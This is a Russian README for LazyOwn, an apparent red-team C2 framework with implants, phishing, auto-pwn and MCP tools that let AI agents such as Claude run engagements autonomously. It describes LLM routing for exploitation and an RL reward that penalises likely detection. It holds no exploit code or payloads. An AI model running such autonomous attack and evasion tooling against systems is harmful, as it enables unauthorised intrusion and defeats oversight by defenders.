Фреймворк для red team и многопользовательская C2-платформа с AI-агентами, гибкими имплантами, руткитами, фишинговым движком и 741 CLI-командой, охватывающими всю цепочку атаки.
741 CLI-команда. Мультиоператорный C2. 153 MCP-инструмента для AI-агентов. Единственный OSS C2 с поддержкой Linux BOF + встроенными маркетплейсами YARA/Nuclei.
| Попробовать за 60 секунд (без установки) | Золотой путь (каждый engagement) | Авто-pwn одной командой |
|---|---|---|
docker run -it ghcr.io/grisuno/lazyown:latest | ping > lazynmap > auto_populate > facts_show > recommend_next | engage 10.10.11.5 |

| Первые 7 команд | Цикл разведки |
|---|---|
![]() | ![]() |
| C2 из CLI | Отправка команд beacon'ам |
|---|---|
![]() | ![]() |
Полное руководство: QUICKSTART.md (5 мин) · гайд 80/20: ESSENTIALS.md · HTB от начала до конца: docs/examples/htb-lame-walkthrough.md · Честное сравнение: COMPARISON.md
| Возможность | LazyOwn | Sliver | Havoc | Mythic | Caldera | Metasploit |
|---|---|---|---|---|---|---|
| Поддержка Linux BOF | yes | no | no | no | no | no |
| Встроенный маркетплейс YARA + Nuclei | yes | no | no | no | no | no |
| MCP-сервер для AI-агентов (153 инструмента) | yes | no | no | no | no | no |
| LLM-оператор + мультиагентный улей | yes | no | no | no | no | no |
| Мультиоператорный C2 + фишинг-движок | yes | partial | partial | partial | partial | partial |
Полная таблица: COMPARISON.md. Нашли ошибку? Откройте issue, мы исправим.```sh
██▓ ▄▄▄ ▒███████▒▓██ ██▓ ▒█████ █ █░███▄ █
▓██▒ ▒████▄ ▒ ▒ ▒ ▄▀░ ▒██ ██▒▒██▒ ██▒▓█░ █ ░█░██ ▀█ █
▒██░ ▒██ ▀█▄ ░ ▒ ▄▀▒░ ▒██ ██░▒██░ ██▒▒█░ █ ░█▓██ ▀█ ██▒
▒██░ ░██▄▄▄▄██ ▄▀▒ ░ ░ ▐██▓░▒██ ██░░█░ █ ░█▓██▒ ▐▌██▒
░██████▒▓█ ▓██▒▒███████▒ ░ ██▒▓░░ ████▓▒░░░██▒██▓▒██░ ▓██░
░ ▒░▓ ░▒▒ ▓▒█░░▒▒ ▓░▒░▒ ██▒▒▒ ░ ▒░▒░▒░ ░ ▓░▒ ▒ ░ ▒░ ▒ ▒
░ ░ ▒ ░ ▒ ▒▒ ░░░▒ ▒ ░ ▒ ▓██ ░▒░ ░ ▒ ▒░ ▒ ░ ░ ░ ░░ ░ ▒░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ▒ ▒ ░░ ░ ░ ░ ▒ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░
[](https://ko-fi.com/Y8Y2Z73AV)
LazyOwn поставляется с АБСОЛЮТНО БЕЗ КАКИХ-ЛИБО ГАРАНТИЙ. Это свободное программное обеспечение, и вы можете распространять его на условиях GNU General Public License v3.
Подробности об использовании этого программного обеспечения см. в файле LICENSE.
# LazyOwn RedTeam Framework v0.2.161
LazyOwn — это профессиональный фреймворк для red team и платформа Command & Control (C2), созданная для пентестеров, red team и исследователей безопасности. Она предоставляет 741 команду CLI, 126 алиасов, 153 инструмента MCP для AI-агентов, многопользовательскую веб-панель C2 и 137 интеграций плагинов YAML/Lua, охватывающих полную цепочку атаки на Linux, Windows, macOS и BSD.
**Новое в v0.2.161:** интегрированный маркетплейс с правилами YARA + шаблонами Nuclei, автономная эксплуатация `auto_pwn`, команда `hunt` для threat-informed разведки, движок подсказок после команд, автоматическое шифрование данных сессий, геймифицированные ELO/значки и 7 новых плейбуков APT.
## Быстрый старт в трёх командах
Впервые здесь? Это весь путь входа. Полное руководство: [`QUICKSTART.md`](https://github.com/grisuno/lazyown/blob/main/QUICKSTART.md).```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn
bash install.sh # virtualenv + pinned dependencies + C2 certificates
./run # launches the shell; first run offers the setup wizard
Установка по умолчанию — лёгкая; добавьте --with-ml для тяжёлого стека torch/CUDA, --with-ollama для локальной среды выполнения LLM, --with-tools для распространённых внешних бинарных файлов. Зависимости зафиксированы в requirements.txt (кроссплатформенное ядро) и requirements-ml.txt (опциональный ML); pyproject.toml — единственный источник истины.
Для изолированных, воспроизводимых работ см. lazyown-docker/README.md.```bash
cd lazyown-docker
./mkdocker.sh build
./mkdocker.sh run --vpn 1
Затем, внутри оболочки `(LazyOwn) >`:```text
doctor # preflight: verifies Python, venv, packages, certs, SecLists, tools
wizard # guided config (auto-detects lhost, walks 8 steps incl. LLM provider)
ping # confirm the target is up and detect its OS
lazynmap # full port + service scan
Если doctor сообщает о блокирующей ошибке (красный), исправьте её, прежде чем продолжать — он укажет точную команду pip install / apt install для всего, чего не хватает. Предупреждения (жёлтый) — это необязательные функции, которые пока можно игнорировать.
LazyOwn построен вокруг модульной архитектуры, управляемой командами, которая обеспечивает гибкость и расширяемость для рабочих процессов тестирования безопасности.

LazyOwn объединяет интерфейс командной строки (CLI), построенный на cmd2, и веб-графический интерфейс, построенный на Flask. Параметры ограничены областью payload.json, что обеспечивает согласованную конфигурацию между инструментами. Фреймворк поддерживает имитацию действий противника, планирование задач через команду cron и постоянные автоматизированные рабочие процессы имитации угроз.


Подключите Claude Code к фреймворку LazyOwn через Model Context Protocol (MCP). Сервер MCP предоставляет 153 инструмента, охватывающих весь жизненный цикл взаимодействия.
| Файл | Назначение |
|---|---|
skills/lazyown_mcp.py | Сервер MCP — предоставляет Claude 153 инструмента LazyOwn |
skills/lazyown.md | Навык Claude Code / документация по slash-командам |
skills/autonomous_daemon.py | Демон автономного выполнения (управляемый целями, Claude не требуется между шагами) |
skills/hive_mind.py | Многоагентная система queen + drone с памятью ChromaDB |
skills/lazyown_policy.py | Движок политик на основе вознаграждения для auto_loop |
skills/lazyown_facts.py | Структурированное извлечение фактов из nmap XML и вывода инструментов |
skills/lazyown_parquet_db.py | База знаний Parquet: история сессий, GTFOBins, LOLBas, ATT&CK |
Полное руководство:
QUICKSTART.md```bash
git clone https://github.com/grisuno/LazyOwn.git && cd LazyOwn && bash install.sh
./run (LazyOwn) > doctor # preflight: Python, venv, packages, certs, SecLists, tools (LazyOwn) > wizard # auto-detects lhost, walks 8 config steps incl. LLM provider
(LazyOwn) > scope add 10.10.11.0/24 && scope mode enforce (LazyOwn) > ping && lazynmap && auto_populate && facts_show
bash fast_run_as_r00t.sh --no-attach --vpn 1
(LazyOwn) > blacksandbeacon
(LazyOwn) > collab_join alice
---
## Совместная работа нескольких операторов
Слой совместной работы LazyOwn обеспечивает функциональность командного сервера в реальном времени через
Server-Sent Events (SSE). Он активируется автоматически при запуске `lazyc2.py`.
**Браузерная панель управления** — откройте в любом браузере у команды:```
https://<lhost>:<c2_port>/collab/?operator=<your_handle>
Поток SSE терминала:```bash curl --insecure -N "https://:<c2_port>/collab/stream?operator=alice" | jq .
**Опубликовать находку для всех операторов**:```bash
curl --insecure -sk -X POST https://<lhost>:<c2_port>/collab/publish \
-H "Content-Type: application/json" \
-d '{"type":"finding","operator":"alice","payload":{"target":"10.10.11.5","detail":"root via CVE-2024-xxxx"}}'
Заблокировать цель (предотвращает запуск одного и того же инструмента двумя операторами):```bash
curl --insecure -sk -X POST https://:<c2_port>/collab/lock
-H "Content-Type: application/json"
-d '{"target":"10.10.11.5","operator":"alice","ttl_secs":300}'
| Конечная точка | Метод | Описание |
|---|---|---|
| `/collab/` | GET | Многопользовательская панель управления в браузере |
| `/collab/stream?operator=<name>` | GET (SSE) | Поток событий в реальном времени |
| `/collab/operators` | GET | Список активных операторов |
| `/collab/publish` | POST | Трансляция структурированного события |
| `/collab/lock` | POST | Захват рекомендательной блокировки цели |
| `/collab/unlock` | POST | Снятие блокировки цели |
| `/collab/locks` | GET | Все активные блокировки |
| `/collab/history?n=100` | GET | Последние N событий |
Из CLI: `collab_join <handle>` выводит все URL для заданного оператора.
---
## Быстрый старт с MCP
LazyOwn предоставляет весь свой фреймворк через Model Context Protocol (MCP). Один и тот же сервер работает с Claude Code, Claude Desktop, Hermes Agent и OpenCode — выберите интеграцию, соответствующую вашей среде.
### Claude Code```bash
bash scripts/setup_hermes_mcp.sh
Или скопируйте .mcp.example.json в .mcp.json и установите LAZYOWN_DIR в
абсолютный путь этой рабочей копии:```json
{
"mcpServers": {
"lazyown": {
"command": "python3",
"args": ["${LAZYOWN_DIR}/skills/lazyown_mcp.py"],
"env": {
"LAZYOWN_DIR": "${LAZYOWN_DIR}"
}
}
}
}
Установите slash-команду (необязательно):```bash
cp skills/lazyown.md ~/.claude/commands/lazyown.md
После перезапуска Claude Code все инструменты lazyown_* становятся доступны.
LazyOwn нативно поддерживает Hermes. Интеграционный слой skills/hermes-lazyown/ предоставляет компактную поверхность инструментов с пространством имён, оптимизированную для контекстных окон Hermes, с возобновлением из контрольных точек, динамической генерацией правил и нативным планированием делегирования.
Зарегистрируйте в ~/.hermes/config.yaml:```yaml
mcp_servers:
hermes-lazyown:
command: python3
args: ["${LAZYOWN_DIR}/skills/hermes-lazyown/mcp_server.py"]
env:
LAZYOWN_DIR: "${LAZYOWN_DIR}"
Затем перезагрузите инструменты MCP в Hermes с помощью `/reload-mcp`.
Полное руководство по интеграции с Hermes см. в `skills/hermes-lazyown/README.md`.
### OpenCode
LazyOwn совместим с OpenCode через **LazyOwnOpenCodeAdapter**:```bash
git clone https://github.com/grisuno/LazyOwnOpenCodeAdapter.git
cd LazyOwnOpenCodeAdapter && npm install
npm run build
Адаптер связывает MCP-сервер LazyOwn с OpenCode CLI, предоставляя ту же поверхность инструментов lazyown_* с нативными для OpenCode подсказками и рабочими процессами.
Полная настройка: https://github.com/grisuno/LazyOwnOpenCodeAdapter
| Переменная | По умолчанию | Описание |
|---|---|---|
LAZYOWN_DIR | родительский каталог skills/ | Корневой каталог LazyOwn |
LAZYOWN_C2_HOST | payload.json lhost | Адрес C2-сервера |
LAZYOWN_C2_PORT | payload.json c2_port | Порт C2-сервера |
LAZYOWN_C2_USER | payload.json c2_user | Имя пользователя C2 |
LAZYOWN_C2_PASS | payload.json c2_pass | Пароль C2 |
| Группа | Инструменты | Описание |
|---|---|---|
| Core Execution | 7 | run_command (теперь с dry_run + confirm), get/set_config, list_modules, discover_commands, command_help, palette |
| Audit & Context | 6 | target_context, tasks_cleanup, evidence_grep, session_diff, run_command_async, job_status |
| Target Management | 3 | add_target, list_targets, set_active_target |
| C2 / Implant Control | 10 | c2_command, c2_status, get_beacons, run_api, c2_profile, c2_vuln_analysis, c2_redop, c2_search_agent, c2_script, c2_adversary |
| Session Awareness | 4 | session_status, session_state, list_sessions, read_session_file |
| Autonomous Loop | 3 | auto_loop, policy_status, recommend_next |
| ACI — Autonomous Campaign Intelligence | 3 | aci_plan, aci_status, aci_replan |
| Reactive Intelligence | 2 | reactive_suggest, bridge_suggest |
| Objectives & Planning | 4 | inject_objective, next_objective, soul, read_prompt |
| Knowledge Bases | 9 | parquet_query/annotate, facts_show, cve_search, searchsploit, rag_index/query, threat_model |
| Memory & Learning | 3 | memory_recall/store, eval_quality |
| Campaign & Reporting | 7 | campaign, campaign_tasks, generate_report, misp_export, collab_publish, timeline |
| Playbooks | 2 | playbook_generate, playbook_run |
| Addons, Tools & Plugins | 3 | list_addons/plugins, create_addon/tool |
| Scheduling | 2 | cron_schedule, daemon |
| AI Agents | 5 | run_agent, agent_status/result, list_agents, llm_ask |
| Event Engine | 4 | poll_events, ack_event, add_rule, heartbeat_status |
| SWAN MoE+RL | 4 | swan_run, swan_ensemble, swan_status, swan_route |
Полная документация: skills/README.md и skills/lazyown.md.
Добавлены в skills/lazyown_mcp_helpers.py, чтобы сделать автономные аудиты более
эффективными и менее подверженными ошибкам. Логика находится в модуле чистых функций, поэтому
её можно изолированно покрыть модульными тестами (tests/test_mcp_improvements.py).
| Инструмент / Параметр | Что делает | Почему это важно |
|---|---|---|
lazyown_session_init(format='json', include_recommend=true) | Возвращает SITREP в виде структурированного словаря вместо баннера; опционально встраивает топ-3 ранжированных рекомендуемых действий. | Экономит ~5 КБ декорированного текста на вызов; агенты могут фильтровать перед использованием. |
lazyown_campaign_sitrep(format='json') | Та же опция JSON для главного отчёта смены. | Единообразный формат для обоих инструментов оценки ситуации. |
lazyown_target_context(host, port=N) | Агрегирует открытые порты, учётные данные из world-model (с происхождением + уверенностью), уязвимости, свежесть доказательств pwntomate и свежесть nmap для одного кортежа (host, port). | Заменяет 4-5 отдельных запросов при принятии решения о следующем действии по цели. |
lazyown_tasks_cleanup(dry_run=true, min_confidence=0.5) | Проверяет sessions/tasks.json и помечает записи, где встроенные учётные данные на самом деле являются временной меткой / URL / IP / дубликатом. Передайте dry_run=false, чтобы перезаписать файл (сначала создаётся .bak). | Наблюдатель часто превращает временные метки логов в «учётные данные»; на реальной кампании это удаляет 100+ шумовых задач. |
| `lazyown_evidence_grep(pattern, scope='all | loot | nmap |
lazyown_run_command(command, dry_run=true) | Предварительная проверка: возвращает базовую команду, путь к бинарнику, требуемую ОС против текущей ОС, возможные дубликаты артефактов, отсутствующие ключи payload — без выполнения. | Предотвращает случайные повторные запуски 30-минутных сканирований; помечает инструменты только для Windows при цели на Linux до запуска. |
lazyown_run_command_async(command, timeout) + lazyown_job_status(job_id) | Шаблон фоновых задач для длинных команд (lazynmap, pwntomate, auto_loop). Немедленно возвращает job_id. | Освобождает агента от блокировки на командах, документированных как ≥30 мин. |
lazyown_session_diff(take=true) | Сообщает о добавленных / изменённых / удалённых файлах в sessions/, а также о новых учётных данных / ID задач с момента последнего снимка. | Делает передачу смены явной; хорошо работает как первый вызов каждой новой сессии. |
| Шлюз подтверждения () |
Слой расширений SOLID в cli/cli_enhancements.py подключается к оболочке cmd2
через существующее автообнаружение CommandSet (cli/commands/audit.py). Не
потребовалось правок 27-тысячестрочного ядра lazyown.py помимо двух небольших хуков
(загрузка псевдонимов lazy, запасной вариант completedefault).
| Команда / хук | Что делает | На основе |
|---|---|---|
fz [query] | Нечёткий поиск команд по каждому do_*, псевдониму, плагину и аддону. Оценка: точное > префикс > подстрока > схожесть последовательности. | FuzzyCommandIndex |
form <command> | Проводит оператора через интерактивную форму параметров для команд с множеством флагов (в настоящее время phishing, venom, evil). Проверяет обязательные поля и перечисления options; при неинтерактивном вводе-выводе возвращается к значениям по умолчанию. | InteractiveForm, FormSpec |
status_tail [target] | Разбирает последний sessions/scan_<target>.partial/.nmap и выводит открытые порты, процент завершения и последнюю строку, чтобы оператор мог следить за длинным сканированием, не покидая оболочку. | LiveStatusTail |
grep_log <pattern> [--cmd <name>] | Поиск по регулярному выражению в недавней истории выполненных команд и их выводе. Сохраняется между перезапусками (sessions/_cli_transcript.jsonl). | TranscriptStore |
reload_addons | Опрашивает lazyaddons/ и plugins/ и повторно регистрирует всё, что изменилось с момента последнего обхода, без перезапуска оболочки. | AddonHotReloader |
audit_complete_keys <command> [partial] | Показывает, что предложил бы completer с учётом payload для данной команды. Полезно для проверки поведения автодополнения. | PayloadAwareCompleter |
completedefault (Tab) | Хук Cmd2 теперь передаёт управление completer'у с учётом payload, который предлагает ключи payload для set/assign, значения IP для target, ключи wordlist для gobuster/ffuf, имена аддонов для run, имена плагинов для plugin и захваченные учётные данные для evil//. |
Примитивы не зависят от фреймворка и зависят от небольших интерфейсов
typing.Protocol (PayloadProvider, CommandLister, TerminalIO), поэтому их можно
изолированно покрыть модульными тестами. См. tests/test_cli_enhancements.py (36 тестов).
Оболочка cmd2 устанавливает управляемый curses нечёткий выборщик поверх GNU readline
(cli/fuzzy_picker.py). При одном нажатии Tab, когда доступно два или более
вариантов автодополнения, выборщик открывает обрамлённый выпадающий список, привязанный
к нижней части терминала, показывая каждое совпадение вместе с его описанием.
Оценщик отдаёт предпочтение точным, префиксным и подпоследовательным совпадениям перед подстрокой и
схожестью (то же ранжирование, что использует отдельная команда fz), а
совпавшие символы запроса подсвечиваются в каждой строке, чтобы оператор
мог видеть, почему кандидат находится в списке.
Навигация: ↑ / ↓ для перемещения, Page Up / Page Down для перехода, Home /
End для поиска, Backspace для редактирования запроса на месте, Tab или
Enter для вставки выделенной команды в приглашение, Esc или
Ctrl-C для отмены. Когда совпадает только один кандидат, обычное поведение
автовставки readline сохраняется, поэтому выборщик никогда не мешает
быстрому оператору. Геометрия, цвета и глифы управляются через PickerConfig,
а необязательный блок fuzzy_picker в payload.json может переопределить любое из
его полей (например, "max_visible_rows": 8) без изменения кода.
config_bannerОболочка cmd2 отображает трёхстрочное приглашение Neon Box, собранное из
канонического набора сегментов (user_host, iface, lhost, rhost,
domain, public_ip, cwd, git, venv, time, kernel, version,
battery_load). Рендерер реализован в cli/banner_config.py как
небольшой стек SOLID: один SegmentRenderer на каждый фрагмент информации,
SegmentRegistry, объект-значение BannerSettings и BannerRenderer,
который выдаёт вывод с ANSI-цветами. Публичный IP, версия ядра и версия LazyOwn
кэшируются с TTL, поэтому приглашение остаётся субмиллисекундным после первого
рендеринга.
Команда оболочки config_banner открывает мастер curses в стиле Powerlevel10k
с тремя вкладками — Segments, Colors, Glyphs — и
живым предпросмотром результирующего приглашения, привязанным к нижней части панели.
Tab / Shift+Tab переключают вкладки; ↑ / ↓ перемещаются внутри активной вкладки;
Enter сохраняет в payload.json в блок banner; Escape
отменяет. Привязки для каждой вкладки:
| Вкладка | Клавиши действий |
|---|---|
| Segments | Space включает/выключает сегмент; a включает каждый сегмент; n отключает каждый сегмент; d восстанавливает заводские настройки. |
| Colors | Space / → переключает на следующий именованный цвет (bright_green, bright_cyan, bright_magenta, …); ← переключает назад; d восстанавливает цвет по умолчанию для этого сегмента. |
| Glyphs | Space / → переключает на следующий символ для выбранного слота (top_left, vertical, bullet_primary, arrow, prompt_char_user, …); ← переключает назад; d восстанавливает глиф по умолчанию для этого слота. |
Приглашение оболочки обновляется сразу после сохранения — перезапуск не нужен.
Операторы без TTY (CI, скрипты) всё ещё могут управлять системой с помощью
config_banner show и config_banner reset или вручную отредактировать payload:```json
"banner": {
"enabled": ["user_host", "iface", "rhost", "domain", "cwd", "git", "venv", "time"],
"colors": {"user_host": "bright_green", "rhost": "bright_red", "domain": "bright_yellow"},
"glyphs": {"top_left": "┌", "bottom_left": "└", "horizontal": "─", "vertical": "│",
"bullet_primary": "❯", "arrow": "→"}
}
Имена цветов проверяются по `ColorRegistry`, а символы глифов —
по `GlyphRegistry`; всё неизвестное молча откатывается к
заводскому значению по умолчанию, так что некорректный payload никогда не ломает приглашение.
### Навигация с учётом графа — UX для оператора и агента из graphify
`cli/graph_advisor.py` загружает граф знаний, созданный
[`/graphify`](https://graphify.dev) по дереву исходников LazyOwn
(`graphify-out/graph_lazyown.json` — ~1500 узлов, ~2900 рёбер, 14
сообществ), и предоставляет его как оболочке cmd2, так и серверу MCP.
Советник представляет собой однфайловый SOLID-стек — `GraphLoader` (файловый
ввод-вывод с кэшированием по mtime), `GraphIndex` (индексы смежности / степеней / сообществ в памяти),
`GraphScorer` (чистый примитив ранжирования), `GraphAdvisor` (оркестратор) —
при этом каждая константа хранится в датаклассе `GraphAdvisorConfig`.
**Команды оператора (оболочка cmd2)**
| Команда | Назначение |
|---------|---------|
| `graph_search <query> [limit]` | Нечёткий поиск узлов по метке, id или исходному файлу. |
| `neighbors <node> [depth] [limit]` | Обход графа наружу от узла с указанием отношения ребра / уверенности. |
| `god_nodes [N]` | Показать наиболее связанные узлы — ключевые абстракции фреймворка. |
| `suggest_next [seeds…] [N]` | Рекомендовать следующие команды, обходя граф наружу от недавней активности. Без seeds читает `sessions/LazyOwn_session_report.csv` и берёт seeds оттуда. |
Хук `default()` оболочки теперь пропускает неизвестные команды `do_*` через
того же советника + существующий `FuzzyCommandIndex`, так что оператор, набравший
`ddo_lazynmap`, мгновенно видит *"Did you mean: do_lazynmap, do_lazynmap_quick, …?"*
до тоста.
**Инструменты MCP (Claude Code, Claude web, любой MCP-агент)**
| Инструмент | Назначение |
|------|---------|
| `lazyown_graph_summary` | Количество узлов / рёбер / сообществ и разрешённый путь к графу. |
| `lazyown_graph_search` | Нечёткий поиск узлов с ограничением `budget_tokens`, чтобы JSON-ответ никогда не превысил контекстное окно агента. |
| `lazyown_graph_neighbors` | Многоуровневый обход смежности с отношением ребра и уверенностью — канонический запрос "от чего зависит X?". |
| `lazyown_graph_suggest_next` | Рекомендация следующего шага; принимает явный список `recent` или читает транскрипт сессии. |
Каждый инструмент графа MCP обрезает поля-списки на месте, чтобы уложиться в `budget_tokens`
(по умолчанию 1500). Когда граф отсутствует, каждый инструмент возвращает
`{"available": false, "reason": "..."}` вместо падения — оператору
сообщается, что нужно один раз запустить `/graphify .`, и всё начинает работать.
Советник кэширует по `(path, mtime)`, так что свежая пересборка `/graphify` подхватывается
автоматически при следующей команде CLI или вызове MCP без
перезапуска оболочки или сервера MCP. См.
`tests/test_graph_advisor.py` — 20 модульных тестов, покрывающих загрузчик,
индекс, скорер и полный API советника.
### Встроенные реактивные подсказки — неблокирующие предложения следующего шага
`cli/reactive_hints.py` подключается к пост-командному конвейеру cmd2 через
`register_postcmd_hook` и печатает одну тусклую строку под выводом каждой команды,
перед появлением следующего приглашения:```
↳ do_gobuster · do_enum4linux · do_ffuf
Подсказка поступает из графа знаний graphify (тот же GraphAdvisor, который используется в suggest_next), поэтому она структурно обоснована — это не общий список. Хук полностью неблокирующий: он возвращает управление до того, как cmd2 отрисует приглашение, так что оператор может сразу начать вводить следующую команду.
Управление
| Действие | Как |
|---|---|
| Отключить подсказки для сессии | set enable_inline_hints false |
| Включить обратно | set enable_inline_hints true |
| Сохранить навсегда | set enable_inline_hints false, затем save |
Команды из списка исключений (help, ?, exit, set, show, palette, dashboard, suggest_next, graph_search, neighbors, god_nodes) никогда не создают строку подсказки — это мета-команды, где предложение добавляет шум.
Когда граф graphify отсутствует, хук молча возвращает управление. Запустите /graphify . один раз, чтобы построить граф, и подсказки начнут появляться уже на следующей команде.
dashboardcli/dashboard_tui.py — это полноэкранная панель Textual, запускаемая из оболочки с помощью:```
dashboard
Он блокирует оболочку, пока открыт (как `htop` или `lazygit`). Нажмите **Q** или
Ctrl-C, чтобы закрыть и вернуться к приглашению cmd2.
**Layout**```
┌─ LazyOwn RedTeam Dashboard ─────────────────────────────────────────────────┐
│ TARGET 10.10.11.5 ATTACKER 10.10.14.5 DOMAIN target.htb PHASE RECON OS │
├─────────────────────┬─────────────────────────────────┬─────────────────────┤
│ Kill Chain │ Recent Commands │ Ops │
│ ✔ Recon │ ● lazynmap 2026-05-11 │ Objective: │
│ ▶ Enum │ ● ping 2026-05-11 │ Initial Access │
│ ○ Exploit │ ● gobuster 2026-05-11 │ │
│ ○ PrivEsc │ │ Credentials: 0 │
│ ○ Lateral │ │ Hashes: 0 │
│ ○ Exfil │ Config │ Beacons: 0 │
│ ○ Report │ Target: 10.10.11.5 │ │
│ │ C2 Port: 4444 │ │
├─────────────────────┴─────────────────────────────────┴─────────────────────┤
│ ↳ next: do_gobuster · do_enum4linux · do_ffuf · do_nikto │
└──────────────────────────────────── [Q] Quit [R] Refresh [?] Help ────────┘
Источники данных (автообновление каждые 5 секунд)
| Панель | Источник |
|---|---|
| Цель / фаза / ОС | payload.json, sessions/world_model.json |
| Прогресс kill chain | sessions/world_model.json → completed_phases |
| Последние команды | sessions/LazyOwn_session_report.csv |
| Задача | sessions/world_model.json, sessions/tasks.json |
| Учётные данные / хеши | sessions/credentials*.txt, sessions/hash*.txt |
| Биконы | sessions/beacons.json |
| Подсказки графа | graphify-out/graph_lazyown.json |
Требуется pip install textual (добавлено в install.sh).
Инструмент MCP lazyown_palette (также доступный как CLI-команда palette
и веб-представление /palette, с глобальным оверлеем Ctrl+K / Cmd+K на
каждой странице C2) позволяет агентам и операторам просматривать более 422 команд do_*
без прокрутки. Режимы:
| Режим | Пример | Описание |
|---|---|---|
| Обзор | palette | Количество команд по фазам. |
| Фаза | palette recon | Каждая команда в фазе kill-chain с однострочным описанием. |
| Фаза + фильтр | palette enum nmap | Список фазы, суженный по текстовому запросу. |
| Поиск | palette --search ldap | Нечёткий поиск по имени и описанию. |
| Детали | palette --info do_lazynmap | Полная запись плюс полученные из graphify соседи calls и related (какие другие команды используют общие вспомогательные функции с этой). |
| Следующая фаза | palette --next recon | Рекомендуемые команды в фазе, следующей в порядке kill-chain. |
Списки calls / related в представлении деталей берутся из
graphify-out/graph_lazyown.json (перегенерируется навыком graphify);
когда этот файл отсутствует, палитра без предупреждений переходит только к данным фаз.
Бот telegram_hermes.py связывает Telegram с полным фреймворком LazyOwn через слой MCP и шлюз Hermes. Он поддерживает прямое выполнение shell-команд, делегирование автономному агенту, планирование cron, взаимодействие с C2-биконами и кросс-платформенный обмен сообщениями.
| Файл | Назначение |
|---|---|
telegram_hermes.py | Telegram-бот — связывает Telegram с LazyOwn MCP и шлюзом Hermes |
run_telegram_hermes.sh | Скрипт запуска с использованием выделенного venv |
venv_telegram/ | Виртуальное окружение Python с зависимостями python-telegram-bot |
cd LazyOwn python3 -m venv venv_telegram source venv_telegram/bin/activate pip install python-telegram-bot nest_asyncio requests
python3 -c "import json; p=json.load(open('payload.json')); p['telegram_token']='YOUR_BOTFATHER_TOKEN'; json.dump(p,open('payload.json','w'),indent=2)"
./run_telegram_hermes.sh
### Команды бота
| Команда | Описание |
|---------|-------------|
| `/start <secret>` | Аутентификация с секретом C2 из `payload.json` |
| `/cmd <command>` | Выполнить любую shell-команду LazyOwn |
| `/sitrep` | Полный отчёт о ситуации кампании |
| `/config [key] [val]` | Просмотр или установка значений payload.json |
| `/addcli <client_id>` | Установить активный C2-клиент |
| `/clients` | Список онлайн C2-имплантов |
| `/c2 <command>` | Отправить команду на C2-бикон |
| `/agent <goal>` | Запустить автономного агента Groq/Ollama |
| `/delegate <goal>` | Делегировать задачу субагенту Hermes |
| `/cron <schedule> <cmd>` | Запланировать повторяющиеся команды LazyOwn |
| `/status` | Показать статус демона и автономного режима |
| `/stop` | Остановить любой запущенный автономный демон |
| `/download <file>` | Скачать файлы из sessions/ |
| Загрузить документ | Загрузить файлы на C2-бикон |
Любое текстовое сообщение без префикса `/` обрабатывается как прямая команда LazyOwn. Применяются ограничение скорости (5 команд/минуту) и тайм-ауты сессии (30 минут).
### Архитектура
Бот использует то же выполнение команд на основе PTY, что и сервер MCP (`skills/lazyown_mcp.py`), поэтому каждая команда LazyOwn, алиас и аддон работают без прямого импорта Python. Автономные задачи (`/agent`, `/delegate`) запускают агентов Groq или Ollama через оболочку LazyOwn, а команды C2 (`/c2`, `/clients`) используют аутентифицированные эндпоинты `/api/command` и `/get_connected_clients`.
---
## Продвинутая архитектура ИИ (MoE + RL + SWAN + Hive Mind)
LazyOwn интегрирует многоагентный стек ИИ мирового класса, который адаптируется и улучшается с каждым взаимодействием:
### Mixture of Experts (MoE) — `modules/moe_router.py`
Пять LLM-экспертов зарегистрированы с тегами возможностей, базовыми весами и уровнями стоимости:
| Эксперт | Бэкенд | Сильные стороны |
|--------|---------|-----------|
| `groq_fast` | Groq llama-3.1-8b-instant | Разведка, перечисление, быстрые решения |
| `groq_powerful` | Groq llama-3.3-70b-versatile | Эксплуатация, пост-эксплуатация, сложные рассуждения |
| `groq_deepseek_r1` | Groq deepseek-r1-distill-llama-70b | Повышение привилегий, пошаговые рассуждения |
| `ollama_reason` | Ollama deepseek-r1:1.5b | Офлайн, безопасность приватности, детальный анализ |
| `groq_gemma` | Groq gemma2-9b-it | Латеральное перемещение, анализ учётных данных |
Маршрутизация использует softmax с температурным масштабированием (`T = max(0.5, 1.5/(1+calls/50))`) по скорректированным весам. Веса самонастраиваются через экспоненциальное скользящее среднее вознаграждения каждого эксперта с течением времени.
### Reinforcement Learning from Models (RLM) — `modules/rl_trainer.py`
Табличное Q-обучение тренирует политику маршрутизации на протяжении сессий взаимодействия:```
State: (task_type, engagement_phase, recent_reward_bucket)
Action: expert_id
Reward: r_raw - λ * detection_prob * |r_raw| (λ=0.5)
Update: Q(s,a) ← Q(s,a) + α * [r + γ * max_a' Q(s',a') - Q(s,a)]
Гиперпараметры: α=0.10, γ=0.90, ε_start=0.20, ε_min=0.05, ε_decay=0.995. Epsilon-жадное исследование затухает при каждом обновлении. Q-значения сохраняются в sessions/expert_qvalues.json между сессиями.
skills/swan_agent.pyИнтеграционный слой верхнего уровня связывает MoE + RL + Detection Oracle + Hive Memory:
swan_run: выполнение одним экспертом с RL-управляемой маршрутизацией и Q-обновлением после выполненияswan_ensemble: N экспертов параллельно через ThreadPoolExecutor, синтезируются с помощью WeightedTextAggregatorOutcomeEvaluator: награда = 0, когда вероятность обнаружения ≥ 70% (формирование награды с учётом обнаружения)modules/detection_oracle.pyПредсказывает вероятность обнаружения до выполнения, используя 17 Sigma-lite правил, охватывающих: доступ к учётным данным (LSASS, SAM, DCSync), боковое перемещение (PsExec, WMI, evil-winrm), повышение привилегий (имперсонация токена, именованные каналы), эксплуатацию, разведку, C2 и брутфорс.
Агрегация вероятности: P(detect) = 1 - ∏(1 - P_i) по всем сработавшим правилам.
modules/auto_purple.pyАвтоматизированный цикл измерения red-vs-blue, который выполняет наступательные действия, запрашивает LazyOwnBT для обнаружения и передаёт результаты обратно в Detection Oracle для калибровки.```bash (LazyOwn) > purple_exec nmap -sV 10.10.11.5 recon # execute + detect (LazyOwn) > purple_score # show detection rates (LazyOwn) > purple_report # export CSV + JSON (LazyOwn) > purple_dashboard # Textual TUI
**Методы обнаружения:**
| Метод | Что проверяет |
|--------|----------------|
| `ai_test` | Предсказание ML-модели LazyOwnBT |
| `proc_scan` | Подозрительные имена процессов |
| `net_scan` | Необычные соединения/порты |
| `log_analyze` | Аномалии auth/syslog |
| `fim_scan` | Изменения целостности файлов |
| `redteam_hunt` | Паттерны охоты за угрозами |
